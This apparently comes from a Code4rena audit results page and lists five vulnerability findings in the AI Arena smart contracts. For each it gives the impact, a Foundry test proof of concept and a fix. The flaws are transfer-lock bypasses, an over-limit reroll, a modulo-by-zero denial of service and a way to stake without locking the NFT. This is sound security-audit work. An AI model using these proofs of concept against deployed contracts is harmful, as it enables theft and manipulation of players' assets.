AI Arena - blutorque's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L270

Vulnerability details

Impact

While staking NRN tokens along with fighter NFT, an external call sent to the FighterFarm contract to lock the user fighter NFT so that its cannot be transferred until the user unstake.

File: FighterFarm.sol

function updateFighterStaking(uint256 tokenId, bool stakingStatus) external {
    require(hasStakerRole[msg.sender]);
    fighterStaked[tokenId] = stakingStatus;
    if (stakingStatus) {
        emit Locked(tokenId);
    } else {
        emit Unlocked(tokenId);
    }
}

So if the tokenId is locked and user try to transfer it, the _ableToTransfer will revert the call. This validation is applied to following transfer functions, https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338`safe https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355

However, it failed to do so for another transfer function of ERC721 which accept additional data parameter.

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) public virtual override {
    require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved");
    _safeTransfer(from, to, tokenId, data);
}

An attacker can use his fighter NFT simultaneously to participate in multiple battle, multiplying their rewards.

Proof of Concept

Add following file to test/FighterFarm.t.sol, and

Run forge test --mt testTransferLockedNFT

function testTransferLockedNFT() public { 
    address aliceAccount01 = makeAddr("pppppp");
    address aliceAccount02 = makeAddr("dddddd"); 
    _mintFromMergingPool(aliceAccount01);
    assertEq(_fighterFarmContract.ownerOf(0), aliceAccount01); 
    
    _fighterFarmContract.addStaker(_ownerAddress);
    _fighterFarmContract.updateFighterStaking(0, true);
    assertEq(_fighterFarmContract.fighterStaked(0), true);

    vm.prank(aliceAccount01); 
    _fighterFarmContract.safeTransferFrom(aliceAccount01, aliceAccount02, 0, ""); 

    assertEq(_fighterFarmContract.ownerOf(0), aliceAccount02);
    assertEq(_fighterFarmContract.balanceOf(aliceAccount01), 0);
}

Tools Used

Manual reviiew

Recommended Mitigation Steps

Add _ableToTransfer check,

function safeTransferFrom(
    address from,
    address to,
    uint256 tokenId,
    bytes memory data
) 
   public 
   override(ERC721, IERC721) 
{ 
    require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, data);
}

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L38

Vulnerability details

Impact

GameItems follows EIP1155 standard. While createGameItem, tokens can be set non-transferable by setting transferable to false. The transfer function such as safeTransferFrom validate the following check to transfer only when its allowed,

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L301

function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId,
    uint256 amount,
    bytes memory data
)  public override(ERC1155) {
    require(allGameItemAttributes[tokenId].transferable);  // @audit
    super.safeTransferFrom(from, to, tokenId, amount, data);
}

However, its fail to put that check over safeBatchTransferFrom function, which defined over ERC1155.sol. Hence, anyone can transfer the game items even they are set freeze.

Proof of Concept

Add file to test/GameItems.t.sol and run forge test --mt testGameItemsTransferViaBatch

function testGameItemsTransferViaBatch() public {
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _gameItemsContract.mint(0, 5);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 5);
    
    // item set non-transferable, for test purpose
    _gameItemsContract.adjustTransferability(0, false); 
    uint256[] memory ids = new uint256[](1);
    ids[0] = 0; 

    uint256[] memory amounts = new uint256[](1); 
    amounts[0] = 5;

    _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 5);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
}

Tools Used

Manual review

Recommended Mitigation Steps

Add following check for safeBatchTransferFrom also,

require(allGameItemAttributes[tokenId].transferable); 

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L372

Vulnerability details

Impact

A player can reroll with fighterType parameter other than the one they own, allowing them to roll to maximum allowed on fighterType.

Default state:

    uint8[2] public maxRerollsAllowed = [3, 3];
    uint8[2] public generation = [0, 0]; 

Say generation for fighterType Champion and Dendroid are sets 0 and 2 respectively, where maxRerollsAllowed has changed to 3 and 5.

    function incrementGeneration(uint8 fighterType) external returns (uint8) {
        require(msg.sender == _ownerAddress);
        generation[fighterType] += 1;
        maxRerollsAllowed[fighterType] += 1;
        return generation[fighterType];
    }

If a Alice own Champion, she is expected to reRoll upto 3 times, since numRerolls[tokenId]==0 and maxRerollsAllowed[0]==3, but here she can upto 5 times by passing Dendroid(1) fighterType in reRoll which she does not own.

Allowing her to call reRoll more than the expected allowed times, increases her chance of getting more rare fighter NFT.

Proof of Concept

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L372 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L129-L134

Tools Used

Manual

Recommended Mitigation Steps

Change code to below,

  function reRoll(uint8 tokenId) public { 
    require(msg.sender == ownerOf(tokenId));
    uint8 fighterType = fighters[tokenId].dendroidBool ? 1 : 0; 
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    ...SNIP...
  }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L470

Vulnerability details

Impact

FighterFarm::reRoll() allows players to roll a fighter with random traits, the number of times a player can do depends on maxRerollsAllowed[fighterType] and the number of times they already reRolled. Maximum reRolls can be extend if the generation increases, which allows fighter to roll to own higher generation traits.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
    generation[fighterType] += 1;
    maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

However, extending a generation will cause reRoll function to always revert.

Generally, when a fighter NFT reRoll, a new fighter base has created via _createFighterBase which returns element, weight and newDna,

function _createFighterBase(
    uint256 dna, 
    uint8 fighterType
) 
    private 
    view 
    returns (uint256, uint256, uint256) 
{

    uint256 element = dna % numElements[generation[fighterType]]; // @audit 0x12
    uint256 weight = dna % 31 + 65; // [1, 30] + 65 => [66, 95]
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

The numElements[generation] changed only once while deploying the contract, and the default is set to 3 elements for the 0th generation. It cannot be updated later for other generations. Also, once the generation increments, there is no "go back" button, since generation[fighterType] will always be greater than 0, and numElements is not defined for generations other than 0. Therefore, it returns 0. In Solidity, modulo by 0 causes a panic error, leading to transaction reversal.

Proof of Concept

Add below test to test/FighterFarm.t.sol and run forge test --mt testModuloByZero

function testModuloByZero() public {
    address player = makeAddr("playooor");
    uint8 tokenId = 0; 
    uint8 fighterType = 0; // Champion(0) 

    _mintFromMergingPool(player);
    _fundUserWith4kNeuronByTreasury(player);
    _neuronContract.addSpender(address(_fighterFarmContract));

    assertEq(_fighterFarmContract.ownerOf(tokenId), player);
    assertEq(_fighterFarmContract.numRerolls(tokenId), 0); 

    _fighterFarmContract.incrementGeneration(fighterType);
    
    vm.prank(player); 
    vm.expectRevert();
    _fighterFarmContract.reRoll(tokenId, fighterType);
}

Tools Used

Manual review

Recommended Mitigation Steps

Add a function to change elements count for respective generation of fighterType,

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/RankedBattle.sol#L253

Vulnerability details

Impact

When player stakenNRN, they have to lock their fighter NFT along with $NRN tokens. The function internally calls updateFighterStaking marking the status locked for tokenId, restricting any transfer during the battle.

An attacker can circumvent the NFT locking mechanism, and can freely participate without needing to lock onto NFT. Let's see, how.

1. First, attacker stakeNRN locking their fighter NFT which changes amountStaked[tokenId] >0 and fighterStaked[tokenId]==true
2. Attacker intentionally lost a battle by challenging highly skilled fighter so that stakeAtRisk[tokenId][roundId] >0, and finally battle records updated
3. Attacker wins a battle and right away unstakeNRN before the updateBattleRecord occurs, the new state is amountStaked[tokenId] ==0
4. Then, battle records updates for this one too but now amountStaked[tokenId] >0, since there is stakeAtRisk[tokenId][roundId] >0 and some stake has been put out of risk by an update call.
5. Attacker waits rounds to pass,
6. Admin setNewRound, sweeping all the stake puts at risk in the last round.
7. Since, amountStaked[tokenId] > 0 and to lock the fighter it is required to be 0. The if check will bypassed.

Proof of Concept

Add below file to test/RankedBattle.t.sol and run forge test --mt testBypasssNFTLock

    function testBypasssNFTLock() public { 
        address player =   makeAddr("playooor");
        address attacker = makeAddr("attackur");

        _mintFromMergingPool(player);
        _fundUserWith4kNeuronByTreasury(player);
        
        _mintFromMergingPool(attacker);
        _fundUserWith4kNeuronByTreasury(attacker);

        vm.prank(player); 
        _rankedBattleContract.stakeNRN(1000e18, 0);
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(1000e18, 1);

        // player wins some points
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); 

        // attacker lost, non-zero stake at risk 
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true); 

        uint256 attackerNRNBalance = _rankedBattleContract.amountStaked(1); 
        
        vm.prank(attacker);
        _rankedBattleContract.unstakeNRN(attackerNRNBalance, 1);
        assertEq(_rankedBattleContract.amountStaked(1), 0); // staked amount == 0
        assertEq(_stakeAtRiskContract.getStakeAtRisk(1), 1e18); // stakeAtRisk[round][1] == 1e18

        // attacker wins, amountStaked[1] non-zero
        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true);
        assertGt(_rankedBattleContract.amountStaked(1), 0); // stake amount > 0

        // new rounds begins
        _rankedBattleContract.setNewRound();
        assertEq(_rankedBattleContract.roundId(), 1);

        // attacker can stake now, without locking their fighter
        vm.prank(attacker);
        _rankedBattleContract.stakeNRN(1000e18, 1);
        bool lockedStatus = _fighterFarmContract.fighterStaked(1);
        assertEq(lockedStatus, false);
    }   

Tools Used

Manual review

Recommended Mitigation Steps

Modify few lines in stakeNRN function,

-    if (amountStaked[tokenId] == 0) {
+    if (_fighterFarmInstance.fighterStaked(tokenId) == false) {
        _fighterFarmInstance.updateFighterStaking(tokenId, true);
    }

Assessed type

Invalid Validation